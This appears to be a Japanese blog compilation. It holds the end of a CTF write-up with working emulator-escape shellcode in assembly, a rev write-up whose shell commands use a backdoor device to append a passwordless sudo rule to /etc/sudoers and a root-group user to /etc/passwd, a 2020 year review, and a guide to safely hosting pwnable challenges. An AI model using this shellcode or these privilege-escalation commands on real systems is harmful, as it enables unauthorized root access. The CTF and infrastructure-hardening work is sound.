0x89f87d894810ec83 0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475 0xe8c789d689f4558b 0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e 0xf8458b481089f845 0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9 0x7589e87d894820ec 0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe8458b48e05589e4 0x458bfc458918408b 0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>: 0xffffff6ee8c789e0 0x8348e8458b48c289 0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>: 0xe8c78948d68918c0 0x8be0558bffffff97 0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>: 0x27e8c789d689e445 0x458b48c289ffffff 0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>: 0x48d68918c08348e8 0x8bffffff45e8c789 0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>: 0xe5894855c3c9fc45 0xf87d894810ec8348 0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48 0x894800000008be00
のようになっています。mmapをすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として
- 子供に実行が帰ってくる前に、その領域にRIPが行かない
- メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる
という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で
std::cout << "[+] Emulator terminated" << std::endl; /* Print register values */ if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7))) ABORT("Error on uc_mem_map (unexpected)"); std::cout << "===== registers =====" << std::endl; std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl; std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl; std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl; std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl; std::cout << "R10: " << std::hex << reg_vals[4] << std::endl; std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl; std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl; std::cout << "=====================" << std::endl;
のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。
main: ; Function begin xor r9d, r9d mov r8d, -1 mov r10d, 0x22 mov edx, 3 mov rsi, 0x10000 mov rdi, 0xdead0000 mov eax, 9 syscall mov rsp, 0xdead3000 mov rbp, 0xdead3000 mov rdi, 0xdead4800 mov rsi, 0x0a0a0a0a0a0a mov [rdi], rsi ;;-> wait for attach mov edx, 0x400 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall mov rsi, 5 mov rdi, 0xdead0000 call print_buf ;;<- end wait for attach mov rax, qword 555000000000H mov qword [rbp-58H], rax mov qword [rbp-50H], rax mov rax, qword 570000000000H mov qword [rbp-48H], rax mov rax, qword [rbp-50H] mov qword [rbp-40H], rax jmp ?_003 ?_001: mov rax, qword [rbp-40H] mov r9d, 0 mov r8d, 4294967295 mov ecx, 34 mov edx, 0 mov esi, 2147483648 mov rdi, rax mov eax, 9 syscall mov qword [rbp-38H], rax cmp qword [rbp-38H], 0 jz ?_002 mov rax, qword [rbp-40H] shr rax, 12 mov qword [rbp-50H], rax mov qword [rbp-58H], rax mov edx, 2147483648 mov rax, qword [rbp-40H] add rax, rdx shr rax, 12 mov qword [rbp-48H], rax call print_end mov rdi, qword [rbp-50H] call print_reg jmp ?_004 ?_002: ;call print_cont mov rax, qword [rbp-40H] mov esi, 2147483648 mov rdi, rax mov eax, 11 syscall mov eax, 2147483648 add qword [rbp-40H], rax ?_003: mov rax, qword [rbp-40H] cmp rax, qword [rbp-48H] jc ?_001 ?_004: jmp ?_007 ?_005: mov rdx, qword [rbp-48H] mov rax, qword [rbp-50H] add rax, rdx shr rax, 1 mov qword [rbp-30H], rax mov rax, qword [rbp-58H] mov rdx, qword [rbp-30H] sub rdx, rax mov rax, rdx mov qword [rbp-28H], rax mov rax, qword [rbp-58H] shl rax, 12 mov qword [rbp-20H], rax mov rax, qword [rbp-28H] shl rax, 12 mov qword [rbp-18H], rax mov rax, qword [rbp-20H] mov rsi, qword [rbp-18H] mov r9d, 0 mov r8d, 4294967295 mov ecx, 34 mov edx, 0 mov rdi, rax mov eax, 9 syscall mov qword [rbp-10H], rax cmp qword [rbp-10H], 0 jz ?_006 mov rax, qword [rbp-30H] mov qword [rbp-48H], rax jmp ?_007 ?_006: mov rax, qword [rbp-30H] mov qword [rbp-50H], rax mov rax, qword [rbp-20H] mov rdx, qword [rbp-18H] mov rsi, rdx mov rdi, rax mov eax, 11 syscall ?_007: mov rax, qword [rbp-48H] sub rax, qword [rbp-50H] cmp rax, 1 ja ?_005 call print_end mov rdi, qword [rbp-50H] call print_reg mov edx, 0x8 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall mov rax, 0xdead0000 mov r12, [rax] get_shell: xor r9d, r9d mov r8d, -1 mov r10d, 0x32 mov edx, 7 mov rsi, 0x1000 mov rdi, r12 mov eax, 9 syscall mov rax, r12 add rax, 0x124 mov dword [rax], 3142107185 add rax, 4 mov dword [rax], 2442567121 add rax, 4 mov dword [rax], 4288122064 add rax, 4 mov dword [rax], 1406924616 add rax, 4 mov dword [rax], 1385783124 add rax, 4 mov dword [rax], 2958971991 add rax, 4 mov dword [rax], 331579 mov rax, 0x100000 mov dword [rax], 0 print_buf: mov rdx, rsi mov rsi, rdi mov edi, 1 mov rax, 1 syscall mov rdx, 1 mov rsi, 0xdead4800 mov edi, 1 mov rax, 1 syscall ret wait_for_attach: mov edx, 0x400 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall ret print_reg: mov rax, 0xdead0000 mov qword [rax], rdi mov rdi, rax mov rsi, 8 jmp print_buf print_cont: mov rax, 0xdead0000 mov qword [rax], 1953394531 mov rdi, rax mov rsi, 4 jmp print_buf print_end: mov rax, 0xdead0000 mov qword [rax], 6581861 mov rdi, rax mov rsi, 3 jmp print_buf
良い問題でした。
infected
僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドアをしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。
echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor echo "sudo ALL=NOPASSWD: ALL" >> /etc/sudoers echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor
感想
問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。 今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会に行くことなく*2、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。
2020年の振り返り
COVID-19の感染拡大の影響で、人生で、家から一番出なかった一年っぽい。
とはいえ通学他の移動時間がなくなったことで、体力的・時間的に動ける時間が増えて、使える時間が増えたので、結果的に良かった面もありそう。良くなかった面は、当然他人と現実世界で会えなかったので、コミュニケーションが色々な人とは上手にできなかったこと。
今年やったことは雑には
- 研究方面
- 社会方面(インターン)
- CTF方面
に分けられるので、それぞれについて雑にまとめる。
研究
まず、偉いのは卒論を書いて卒業したこと。1月はずっと卒論に従事していた。 今の時期になってかなり気づいたが、卒論で頂いたテーマはかなり良かった。というのも、もちろんその後refine(これも6月頃1ヶ月ほどやっていた..)して会議に通ったのも良い点だが、それ以上に「論文の執筆のいろは」を含め色々なことに理解が生える良いジャンプ台だった気がする。実際今の研究に大きく繋がっている(今の研究がうまくいくかはわからないが)。
卒論、会議論文執筆 + 研究発表を通して分かったことだが、かなり英語が破滅している。 なので、目下の課題としては英語能力の向上を図っている。
社会方面
今まで大きな企業で働いたことがなかったが、さすがに社会を知らなすぎるとヤバい気がしたので、インターンに応募し、LINEで6週間働かせてもらった。実際コードを書くのは楽しいし、LINEのサービスの一端に関わっている感があって良かった。内容は、https://engineering.linecorp.com/ja/blog/internship-report20-hypervisor-update-system-with-kubernetes/ にまとまっている。
実際最規模なクラスターに対する処理を(理論上考えることはあれど)実際に書くことは今までになかったのでかなり貴重な経験だった。
あと、地味にGSoCでlibvirtプロジェクトの一端に携わり、LINEでOpenStack + Kubernetesに紛いなりにも携わった(おこがましいか?)ので、そっち方面の経験があるということで就職できないかな。厳しいですかね。
CTF
多分今年は今までで一番真面目に参加したCTFが多かった
- PlaidCTF
- Spam And Hex CTF
- CTFZone Finals
- DEFCON Quals
- Google CTF (+ Hackceler8)
- TokyoWestens CTF
- Hack.lu
- Dragon CTF
- HITCON CTF
- ASIS Finals
- 他
WriteupsのいくつかはGitHub にまとめた。
特筆すべきは、今年は、TSG外チームとの合同チームで参加したCTFもいくつか(shibad0gsでSpamAndHex, DEFCON、I use BingでGoogle CTF)あってこれもかなり良かった。I use Bingは日本人以外の人々との交流に繋がったし、僕自身の貢献は微々たるものだったが、Google CTF Finals相当(?)の大会で、2位にもなった。そういえば動画が公開されるらしいって聞いたけどどうなったんやろ。 割とTSGに引きこもりがちだったが、他のチームの人々との交流があるとやる気に繋がって良い。実際その影響でこれだけCTFやった面も大きい。
作問も結構した。
- TSG CTF
- Beginner's Pwn
- Detective
- std::vector
- (Karte with kirby)
- SECCON CTF
- Yet Another PySandbox
- Yet2 Another Python Sandbox
- mlml
- Fixer
- TSG Live (誰も得しないけど、地味にちゃんとした問題作ったんですよ)
- one bytes man (と仲間たち2問)
- getting over it
それぞれ問題に若干のエピソードあり、割とどの問題も気に入っている(正確にはどれももう少し洗練すべきだったが)ので全部(多分)思い出せた。去年よりは上手になったと思うが、納得行くような問題は作れていない。来年も何問かは作りたい。
作問者側エピソードで言えば、SECCONの作問でzer0ptsの人々やSECCON各位とワチャワチャしたのは楽しかった。地味にsecurity campに1億年前に参加した時にpwnの講義をしていただいた岩村さんと同じ作問者側になっていたのもちょっとエモかった(直接は話さなかったが)。
あとCTFに分類されるわけではないが、FetchDecodeExecWriteとして、ISUCONに今年も出た。akouryyくん、くっきーさんが強いので正直僕の貢献がどれほどあるのかわからない。というか、今年は特に本戦の最後でNginxちゃんと分散させておけば賞金に手が届いていたっぽかったので、これをしなかった僕はカスです。ごめんなさい。まあでも個人的には人々とワチャワチャできたので楽しかったと言ったら怒られるだろうか。
来年(今後)
来年は海外に行けるようになるのだろうか、とりあえず夏休みくらいからは大学には行きたいところではある。
就職活動はするが、大学で研究を続けたいという気持ちも強いので、人生レベルで難しい決断をそろそろしないといけない、厳しい。そもそも欲しいと言ってくれる人がいなければニートになるわけだけれど...
就職活動と並行して今やっている研究を早いところ一定の形にしたい。そういうことを考えるとCTFを毎週末している場合ではないんですが、、とはいえTSGCTF3は開催したいね。
補足
投稿する前にふと去年の総括を見てみたら、一昨年の総括に対する去年の総括での言及が面白かった。
来年の目標として一つあるのは、ある程度ちゃんとしたCTFにおいて最終的にsolver数一桁になるような問題を適切に解いていきたい。最近CTF終わった後いつもそういう感想になる。あとは基本的に研究に取り組みたいなとは思う。個人的な意見としては楽しいと思う。
残念ながら厳しかった。挑戦はしているんだけどね。特にTSGでやっているときは、比較的簡単めの問題にそれなりに時間を使ってしまうのでなかなか難しい問題に使う体力が残っていないがち。とはいえそれは言い訳で、I Use BingででたGoogle CTFのmathshや、shibad0gsで出たときのDEFCONのsupersecurecalcあたりは解きたかったんだけど、これは解けなかったので、結局自力が足りないのでは。
去年の総括を見ていると
地下は太陽が無いのでやはり太陽にあたっていくあたりから挑戦するべき、あとは英語精進をしないと死にそう。
という記述があったが、研究室が地上になったことで必然的に前者はある程度達成できるようになった。西日は眩しい。後者は今もなお問題で、実際に死んでいる。
らしいが、残念ながら研究室にいけなくなったことで太陽を浴びなくなってしまった。これは良くないことです。英語精進は分かる。個人的には去年のこの記事を書いていた頃よりは明らかに英語の能力は向上しているので、その点で進捗はあるはず。TOEFLでも受けて数字として理解できるようにしようかな。
人間、人生を考えすぎなので僕も考えなきゃいけないのかなという気持ちになってきた
人生よくわからん。いずれにせよ、来年は就活的なものが発生したりしなかったりするのかもしれない、考えを先送りにしている
こまりました..
にしても去年CPU実験やGSoC言及してるけど1億年くらい前の話な感じがする。
pwnable challengeをホストする際にしていること
CTF Advent Calendar 2020の20日目の記事です。一つ前の記事はptr-yudaiさんのオレオレFuzzerもどきを利用してCTFのpwnableを解こう - CTFするぞでした。
この記事では、CTFのorganizeをするときに、私がpwnableの問題をホストする際どのような形で問題環境を作っているか(問題のパッケージやインフラの構築など)について簡単にまとめます。理由としては、
- こういう記事があまり見当たらない(のでこれからpwnable challengeをホストする人の多少の参考になれば)
- 私自身セキュリティの専門家ではないので、自分のインフラがどのような危険を内包しているかどうかがあまり分からないので、場合によってはツッコミを頂きたい
という2点です。特に後者の点が大きくて、pwn challengeを通してサーバーを乗っ取られた上で他のフラグなどがリークしてしまった場合、被害が甚大です。なので今後のCTF大会の健全な開催のためにも、もし何か気づいたらお知らせください。
一応私のCTFのorganize経験としては
- TSGCTF 2回
- TSG Live CTF 2回
- SECCON CTF 2回 (これはorganizeと言ってしまうとよくないかもしれません、自分のpwnableのインフラを管理していただけなので)
で、ここまで環境設定ミスで問題が破壊されたり、変にフラグリークしたという経験はないです(気づいてないだけかもしれませんが)。
なお、基本的にただdockerで起動したりtcpdumpで監視したりしているだけなので、そういうところに面白さを求めている方がいらしたら、ごめんなさい。習ったわけではないですが、多分普通です。
前提
pwnableの問題をホストするということは、そのバイナリと同程度の権限で、攻撃者がサーバーのシステムにアクセスできるということを意味しています。なので、当然ですが、「適切な環境の分離」というものが必須になります。このとき分離に対して評価軸として次のようなものを頭に入れています
- attack surfaceの大きさ
- シェルを取られた際に起こりうる危険の大きさ
- かかるお金
- 手間、面倒くささ
おそらく現実のシステムを考える上でもこういう考えがもっと一般化されて、形式的に議論されているのだと思いますが、私はセキュリティの専門家ではないのでそういう話は知りません。以下ではVMの分離の方がコンテナの分離より、attack surfaceが小さいので安全だが、VMの分離は値段的に高い、として話を進めています。
また最後に、手間、面倒くささと書きましたが、これもこの記事で常に現われる評価軸です。私はpwnの問題を出したいだけであって、かっこいいインフラにすることにそれほど興味が無いので(もちろんかっこいいほうが良いですけど)、出来る限りインフラを設定するのにかかるコストは小さい方が良い、ということを意味します。工数が半日以上かかりそうなインフラの設定はしたくありません。
問題のセッティング
問題のパッケージ
基本的に問題環境のパッケージはdockerを用いて行っています。理由は導入が楽だからです。例として、TSGCTF 2のBeginner's PwnのDockerfileを見てみます
FROM ubuntu:20.04 RUN apt-get update && \ apt-get -y upgrade && \ apt-get install -y \ xinetd \ iproute2 RUN groupadd -r user && useradd -r -g user user COPY --chown=root:user ./build/start.sh /home/user/start.sh COPY --chown=root:root ./build/ctf.conf /etc/xinetd.d/ctf COPY --chown=root:user ./build/flag /home/user/flag COPY --chown=root:user ./dist/beginners_pwn /home/user/beginners_pwn WORKDIR /home/user RUN chmod 444 ./flag && \ chmod 555 ./beginners_pwn && \ chmod 555 ./start.sh && \ chmod 444 /etc/xinetd.d/ctf USER user EXPOSE 30002 CMD ["xinetd","-dontfork","-f","/etc/xinetd.d/ctf"]
基本的にやっていることは
- 必要パッケージのインストール
- 必要ファイルのコピー
- 権限の設定
- 非rootユーザーの追加と設定
- 起動コマンドの設定
です。これは趣味ではあるのですが、「シェルをとってほしい」という気持ちをより強くしたい、つまりflag名guessはされたくないと思う場合は、Dockerfileの中でさらにflag名にmd5sumをつけるなどをしても良いと思います(ptr-yudaiさんがこのようにしています)
これをビルドして、イメージとして保存すれば、ほぼ完全に環境を固定化できますし、そうでなくてもdocker buildで基本的に必要なセットアップができるので便利です。 ただしDocker imageを固定してもなお、しばしば背後のカーネル依存の挙動が重要になったりするケースがあり注意が必要です。今まで遭遇したことがあるのは、
などがあります。とはいえ、あなたのソルバが本番環境に特に問題なく(個別のデバッグなく)刺さるなら、基本大丈夫じゃないですかね。 まあ、pwnのインフラを整備するときには、変なguessingが入らないことをいずれにせよ注意する必要がありますし、とはいえ吸収しきれない場合が多いのでclarで対処をするしかないです。
サーバー化
私はxinetdを使っています。いつも使っているconfigは次のようになっています
service ctf_beginners_pwn { type = UNLISTED protocol = tcp socket_type = stream port = 30002 wait = no disable = no user = user server = /bin/sh server_args = /home/user/start.sh }
他の候補としては、socat/ynetdがあると思いますが、この辺の違いはあまりわかりません。勝手にsocatよりxinetdの方が信頼できると思っています。
タイムアウト
xinetdにそういう機能が無いと思うので、timeoutは起動コマンドに外部からかけています https://github.com/tsg-ut/tsgctf2/blob/master/pwn/beginners_pwn/build/start.sh
timeout -s 9 60s ./vuln
バッファリング
問題によっては、外部からIOのバッファリングを切る必要があります。これにはstdbufというものを使っています。
stdbuf -i0 -o0 -e0 ./vuln
インフラの設定
ここが今回の一番の問題です。
まず話の流れとして、問題のデプロイについて話すと、基本的には上でパッケージしたdocker imageをそのままdocker runで実行しています。正確にはdocker-composeを用いて
version: '3' services: ctf: restart: always build: ./ read_only: true ports: - '30005:30005'
のように、必要な設定を追加しています。
次に具体的にどういうマシンを使っているかについて話すと、TSG CTFの場合はGCP、SECCONの場合はSakuraからVMを借りてその上に環境を作っています。特筆するとすれば、TSG CTFでは、Container Optimized OSというOSを利用しています。基本コンテナがその上で動作するという仮定を置いた上でのセキュリティの設定などがデフォルトでパッケージされているらしいです。詳しくは知りませんが、ボタンを押すだけなので簡単です。 なお、このOSではパッケージを入れたりするのがかなり難しく、docker-composeを入れるのが自明ではありません。そのための簡単なwrapperをこおしいずさんが作ってくれたので、ありがたく活用しています。 https://github.com/tsg-ut/tsgctf2020/blob/master/tools/easy-docker-compose.sh
そして、このマシンの上で複数のpwnの問題をコンテナにより分離を信じて、配置しています。このようにすることの利点は、VMが一つで済むので価格が安いです。一方で、コンテナの分離は、VMの分離より(一般的に)弱いので危険と言えば危険です。どっちを取るべきかはコンテストの重みによっても変わると思いますが、基本的には信じて問題ないと思って、4回ほどコンテストを開催しました。多分何も起こってません。Docker Escape見つけたらTSG CTFなんかで使わないでください。逆に言えばDocker Escapeが見つかったりしない限りは安全だと思っています。
事例集
「典型的なpwnの問題の例」 TSGCTF 2: Beginner's Pwn
一番典型的なPwnの問題です。こういった問題は、「一般的に普通のコンテナの使い方」で実行できるので、「かなり安全な部類」だと思っています。なので、この部類の問題サーバーは同じVMに同居させています。 TSGCTFではお金をケチって、区別していませんでしたが、リスクとしてはpwnとcryptoの問題では明らかにpwnの問題の方が(シェルをとらせるので)危ないことが多いので、こういったリスクでVMをわけるのも良いと思います。
「内部でコンテナ化をしている問題の例」 TSGCTF 2: std::vector
問題の内部での環境を分離するためにコンテナを使っているタイプの問題です。 この問題は内部でコンテナによる分離を必要としています。つまり、問題サーバーもDockerでデプロイするとなると、Docker in Dockerが必要ということです。
Docker in Dockerの嫌なところはprivilegedをつけて実行する必要がある点です。これにより、通常のコンテナよりもアクセスできるデバイスへの自由度が増えるので、シェルを取られた時により危険な状態であると言えます(ちなみに、問題の設定として、privilegedなコンテナでのシェルは、pythonやhashcashにバグが無ければ、取れないはずということになっています。つまりシェルが取れるのは入れ子になったコンテナの中だけです)。
このリスク評価が正しいかはわからないですが、(主に無知なので怖いから)TSGCTF 2ではprivilegedコンテナを使う問題だけは、VMを別にして安全を優先しました。この付近に関しては私は知識不足なので、似たような設定で問題を作っている方がいらしたら、どういうふうに設定しているかを教えて頂きたいものです。
ちなみにDocker in Dockerテクですが、DinDのImageはBASEがalpineになっていてあまり使い勝手がよろしくないが、自分でDinDするための設定をUbuntuのbaseイメージに対してしていくのは、面倒だったので、中のコンテナでは実はDockerではなくnsjail を使っています。 このようにすると、Dockerfileの外側の設定の見た目はほとんど変わりません。
https://github.com/tsg-ut/tsgctf2020/blob/master/pwn/stdvec/Dockerfile
FROM moratorium08/nsjail RUN apt update && apt upgrade -y && apt install -y python3.7 nodejs npm xinetd iproute2 ...
違うのはnsjailのイメージを使っている点とdocker-compose.ymlでprivilegeを指定している部分だけです。
「お金がいっぱいある例」 SECCON
SECCONのようにお金がある場合は全部の問題ごとにVMで分離しています。これが手間もかからず、安全性も高いので、お金が気にならないならこれが良いと思います(し、SECCONの場合ミスってコンテストが崩壊した場合にはかなり困ったことになるので、そうするべきなんだと思います)。
監視
CTFの開催というのは基本的には慈善事業なのであまり悪意のあることをされると(異常な量のペイロードを投げるなど)結構困ります。もちろん外側からの監視で通常あるべきでない量のペイロードを投げる人を見つけることはできますが、「悪意」がありそうかどうかの判定は案外難しいです。せっかく開催したCTFに参加してくれているので、できればbanはしたくありません。 また、想定外の行動(明らかにアクセスできるべきでないファイルにアクセスしているなど)をされたり、これはあまり良くない話ですが、想定外の解法で解かれていることもあります。もちろん対策を取れるかどうかは別問題ですが、開催中にこういったことに気づいておきたいところではあります。 つまり、適切な監視インフラを構築したいですが、これもまた「面倒なことはあまりしたくない」という別のモチベーションがあります。
これをするには私は、VMに直接tcpdumpをインストールした上でこのスクリプトを、問題ごとにsupervisordに登録して、dumpを吐き出させ、それをflowerというツールで監視しています。
この辺はあまり満足度が高くなくて、手元でパケットを解析するために定期的にパケットのファイルを手元にダウンロードしたり、それをflowerに流したりする部分があまりきれいではありません。上手な方法を御存知の方がいたら教えて下さい。
ちなみに、flowerの流し込み部分ですが、私の手元のメモによれば次のようにやるらしいです(汚いね)
なんか確かimport.pyで使われているライブラリのインストールがかなり難しいはずで、しかしこのdocker imageの中では動くので、このような汚いことをしているはず、全ては怠惰のため。
あと留意点として、(これはあるあるだと思いますが)tcpdumpで分割された最新のファイルをダウンロードしてimportするとそのファイルは不完全なので壊れがちです。ダウンロードするときは最新から一個手前までのもののみにすると良いです。
その他
Proof of Work
Proof of Workを問題によっては入れる場合があります。もちろん入れないほうがストレスも無いし良いんですが、一回の接続で問題サーバー側のリソースをそれなりに使わないといけない状況の場合には、基本的には「一人一票の原則」を適用させたい場合があります。とはいえ、PoWがあるのは当然ですが問題を解く側の経験としてプラスになることはないので、出来る限り回答者の気持ちに寄り添う必要があると思います。
これは単なる私の持論ですが、PoWを入れる場合(入れなければいけないような問題の場合)は次のような点に注意しています
- サーバーを動作をローカルで再現できて(ソースコード、バイナリなどが配られていて)、回答者がサーバーに接続する必要があるのは最後だけ
- PoWをするためにコードを書かせない(PoWソルバを書くのも手ですがこの場合ここに最適化の余地を生んでしまうとお互い困るので、既存ツールでインストールの手間がかからないものを使うのが良いというのが私の見解です。私はhashcashを使っています)
readn
さらに細かいですが、たまに見るのでコメントだけ残しておくと、少し大きめのバッファが必須(例ROPの長めのペイロードなど)のときに、直接read(0, buf, N)のようなことをするプログラムがある場合がありますが、これはネットワーク越しだと不安定になるので良くないです(文字数制限をつけたいなら明示的にすべきで)。
なので、よくあるシステムズプログラミングの課題のように、Nバイト受け取らなければいけない場合は、必要なバイトを受け取るまでループを回すコードを書きましょう。
最後に
何か気づくことがあればコメント頂けると幸いです。
明日はakiko_pusuさんの「1週間経って少しはすすんだでしょうか?書いてみます!」です。楽しみですね。